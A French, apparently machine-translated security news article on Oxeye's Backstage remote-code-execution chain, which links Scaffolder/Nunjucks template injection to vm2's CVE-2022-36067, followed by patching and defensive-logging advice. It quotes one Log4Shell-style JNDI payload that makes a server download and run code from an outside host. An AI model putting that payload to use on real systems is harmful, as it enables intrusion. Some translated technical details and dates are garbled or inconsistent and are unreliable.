Trou d'exécution de code de type Log4Shell dans l'outil de développement Backstage populaire

Les chercheurs de la société de sécurité de codage cloud Oxeye ont écrit un bogue critique qu'ils ont récemment découvert dans la boîte à outils de développement cloud populaire Backstage.

Leur rapport comprend une explication du fonctionnement du bogue, ainsi qu'un code de preuve de concept (PoC) montrant comment l'exploiter.

Backstage est ce qu'on appelle un portail de développement cloud - une sorte de backend de logique métier qui facilite la création d'API Web (interfaces de programmation d'applications) pour permettre aux codeurs à l'intérieur et à l'extérieur de votre entreprise d'interagir avec vos services en ligne.

Dans les mots du projet lui-même, créé à l'origine chez Spotify mais maintenant open-source sur GutHub :

Backstage est une plate-forme ouverte pour la création de portails de développeurs. Alimenté par un catalogue de logiciels centralisé, Backstage restaure l'ordre dans vos microservices et votre infrastructure et permet à vos équipes produit d'expédier rapidement du code de haute qualité, sans compromettre l'autonomie.

Backstage unifie tous les outils, services et documentations de votre infrastructure pour créer un environnement de développement rationalisé de bout en bout.

Non, nous ne savons pas vraiment ce que cela signifie non plus, mais nous savons que la boîte à outils est écrite en JavaScript et s'exécute à l'aide du système JavaScript côté serveur. node.js, et puise dans un réseau de dépendances de la chaîne d'approvisionnement de l'écosystème NMP.

NPM est l'abréviation de Gestionnaire de packages de nœuds, une boîte à outils automatisée pour garantir que votre code JavaScript back-end peut facilement utiliser une large gamme de bibliothèques open source qui fournissent des outils d'assistance pré-écrits populaires pour tout, de la cryptographie et de la gestion de base de données à la journalisation et au contrôle de version.

Exécution de code à distance

Malheureusement, le bogue révélé aujourd'hui, s'il n'est pas corrigé, pourrait donner à des tiers non authentifiés (en gros, toute personne pouvant établir des connexions API à vos serveurs) un moyen de déclencher l'exécution de code à distance (RCE) à l'intérieur des serveurs de logique métier de votre réseau.

Heureusement, cependant, si nous avons interprété correctement l'écriture d'Oxeye, l'attaque qu'ils décrivent pour leur Backstage RCE dépend d'une séquence de défauts de codage qui dépendent finalement d'un bogue spécifique, désigné CVE-2022-36067 dans un composant de la chaîne d'approvisionnement sur lequel s'appuie Backstage appelé vm2.

Au cas où vous vous poseriez la question, vm2 est un module NPM à usage général qui implémente un "bac à sable de machine virtuelle" qui vise à rendre le JavaScript potentiellement risqué un peu plus sûr à exécuter sur vos serveurs.

Ce bogue CVE-2022-36067 dans vm2 était rapporté en août 2022 par Oxeye lui-même (qui lui a donné un nom favorable aux relations publiques de "Sandbreak", car il est sorti du bac à sable), et patché rapidement par l'équipe vm2 il y a presque trois mois.

Donc, d'après ce que nous pouvons voir, si vous êtes un utilisateur de Backstage, vous voudrez vous assurer que vous avez corrigé tous les composants à risque dans votre configuration de Backstage…

… mais si vous avez corrigé le composant vm2 qui était vulnérable à Sandbreak il y a tous ces mois, il semble que vous n'êtes pas directement vulnérable à l'exploit décrit dans la dernière divulgation d'Oxeye.

De plus, si vos serveurs Backstage sont configurés comme le suggèrent de bonnes directives de cybersécurité, avec une authentification requise à la fois à la périphérie du réseau et à l'intérieur du réseau, vous ne risquez pas d'être interrogés au hasard "à des fins de recherche uniquement" par des personnes "utiles" déterminées. pour montrer qu'ils sont intéressés par la « recherche » sur les cybermenaces.

Une attaque « Emmenthal »

En termes simples, les problèmes de sécurité récemment révélés sont l'effet secondaire d'une série de problèmes de sécurité, comme des trous dans des tranches de fromage Emmenthal qui pourraient être imprégnés en séquence si un attaquant est capable d'aligner au moins un trou sur chaque tranche.

Comme nous le comprenons, Backstage comprend un composant appelé Scaffolder, qui, comme son nom l'indique, vous aide à gérer les différents addons (appelés plugins) dont votre communauté de développeurs pourrait vouloir ou avoir besoin.

Scaffolder, à son tour, utilise un système de journalisation des messages de Mozilla connu sous le nom de Nunjucks, qui comprend ce qu'on appelle modèle de chaîne in node.js cercles, comme interpolation de chaîne dans le monde Java, et comme substitution de chaîne aux administrateurs système qui utilisent des shells de commande tels que Bash.

Si l'interpolation des chaînes vous dit quelque chose, c'est probablement parce qu'elle est au cœur de la Log4Shell vulnérabilité en décembre 2021, et de la Follina bug au milieu de 2022.

C'est là que vous pouvez réécrire le contenu d'un message de journalisation en fonction de "caractères de codage" spéciaux dans un modèle de chaîne, de sorte qu'une chaîne telle que $USER peut être remplacé par le nom de compte utilisé par le serveur, ou ${PID} peut récupérer l'ID de processus actuel.

Dans le cas extrême de Log4Shell, la curieuse incantation ${jndi:ldap://example.com:8888/malware} pourrait inciter directement le serveur à télécharger un programme appelé malware de example.com et l'exécuter silencieusement en arrière-plan.

En d'autres termes, vous devez vous assurer que les données provenant d'une source non fiable, telle qu'un utilisateur extérieur, ne sont jamais transmises aveuglément dans une fonction de modélisation de chaîne ou d'interpolation de chaîne à utiliser. comme le texte du modèle lui-même.

Si un utilisateur distant, par exemple, essaie de tromper votre serveur en donnant son nom d'utilisateur comme ${{RISKY}} (en supposant que la bibliothèque de modèles utilise ${{...}} comme marqueur spécial), vous devez vous assurer que votre code de journalisation enregistrera correctement ce texte coquin littéralement tel qu'il a été reçu…

…plutôt que de laisser le texte enregistré prendre le contrôle de la fonction d'enregistrement elle-même !

Comme le dit une vieille comptine, vous devez vous assurer de ne pas finir par chanter : « Il y a un trou dans ma ${{BUCKET}}, chère Liza, chère Liza, il y a un trou dans mon ${{BUCKET}}, chère Lisa. Un trou!"

Enveloppé dans une couverture de sécurité

Pour être juste, la fonctionnalité de modélisation/interpolation peut-être trop puissante de Nunjucks est enveloppée par Backstage dans un autre composant de la chaîne d'approvisionnement, à savoir le système de sandboxing vm2 susmentionné, qui est censé limiter le danger qu'un utilisateur malveillant pourrait faire avec booby -données d'entrée piégées.

Malheureusement, les chercheurs d'Oxeye ont pu associer leurs chemins de déclenchement de code de modèle de chaîne nouvellement découverts dans Backstage + Scaffolder + Nunjucks avec l'ancienne vulnérabilité CVE-2022-36067 dans le wrapper de sécurité vm2 afin d'obtenir une exécution potentielle de code à distance sur un serveur Backstage. .

Que faire?

Si vous êtes un utilisateur de Backstage :

• Assurez-vous d'avoir les dernières versions de Backstage et de ses dépendances, y compris le plugin-scaffolder-backend composant. Selon Oxeye, les bogues pertinents dans le code Backstage ont été corrigés le 01er septembre 2022, de sorte que toute version officielle après ces données devrait inclure les correctifs. Au moment de la rédaction [2022-11-1T16:00Z], cela inclut Backstage 1.6.0, 1.7.0 ainsi que le 1.8.0, publiés respectivement les 2022-09-21, 2022-10-18 et 2022-11-15.
• Vérifiez que votre installation Backstage a une authentification configurée comme prévu. Oxeye affirme que l'authentification est désactivée par défaut et qu'après avoir suivi les Consignes pour les coulisses, les serveurs principaux (qui ne sont probablement pas censés être exposés en externe de toute façon) autorisaient toujours un accès non authentifié. C'est peut-être ce que vous voulez, mais nous vous recommandons d'utiliser ce problème comme raison pour vérifier que votre configuration correspond à vos intentions.
• Vérifiez quelles parties de votre infrastructure Backstage sont accessibles depuis Internet. Encore une fois, utilisez ce problème comme raison pour analyser votre propre réseau de l'extérieur si vous ne l'avez pas fait récemment.

Si vous êtes un utilisateur node.js/NPM :

• Assurez-vous de disposer de la dernière version du composant sandbox vm2. Vous pouvez l'avoir installé en tant que dépendance d'autres logiciels que vous utilisez, même si vous n'avez pas Backstage. La vulnérabilité CVE-2022-36067 a été corrigée le 2022-08-28, vous voulez donc la version vm2 3.9.11 ou plus tard.

Si vous êtes programmeur :

• Soyez aussi défensif que possible lorsque vous appelez de puissantes fonctions de journalisation. Si vous utilisez un service de journalisation (y compris Nunjucks ou Log4J) qui inclut de puissantes fonctionnalités de modélisation/d'interpolation, désactivez toutes les fonctionnalités dont vous n'avez pas besoin afin qu'elles ne puissent pas être exploitées par erreur. Assurez-vous que l'entrée non fiable n'est jamais elle-même utilisée comme modèle, empêchant ainsi les attaquants de lancer leurs propres chaînes d'entrée directement dangereuses.
• Quelles que soient les autres précautions en place, nettoyez vos entrées et sorties de journalisation. N'oubliez pas que quelqu'un d'autre devra ouvrir vos fichiers journaux à l'avenir. N'autorisez pas l'écriture de pièges involontaires dans votre fichier journal où ils pourraient causer des problèmes plus tard, tels que des fragments HTML avec des balises de script laissées. (Quelqu'un pourrait ouvrir le fichier dans un navigateur par erreur.)

Même lorsque vous recevez des informations d'une source fiable, il y a rarement une raison de ne pas les soumettre à vos propres contrôles de désinfection avant de les utiliser.

(Vous pouvez occasionnellement justifier une exception, par exemple pour des raisons de performance, mais cela devrait être une exception, pas la règle.)

Tout d'abord, vérifier à nouveau vous aide à repérer les erreurs que les codeurs précédents peuvent avoir commises de bonne foi ; deuxièmement, cela aide à limiter la propagation de données mauvaises ou piégées si une autre partie de votre écosystème est compromise.

La chose à propos de ces tranches d'Emmenthal dont nous avons parlé plus tôt est que bien qu'elles soient perméables si au moins un trou s'aligne sur chaque feuille…

…ils sont imperméables s'il y a au moins une feuille avec des trous qui ne s'alignent pas du tout !

---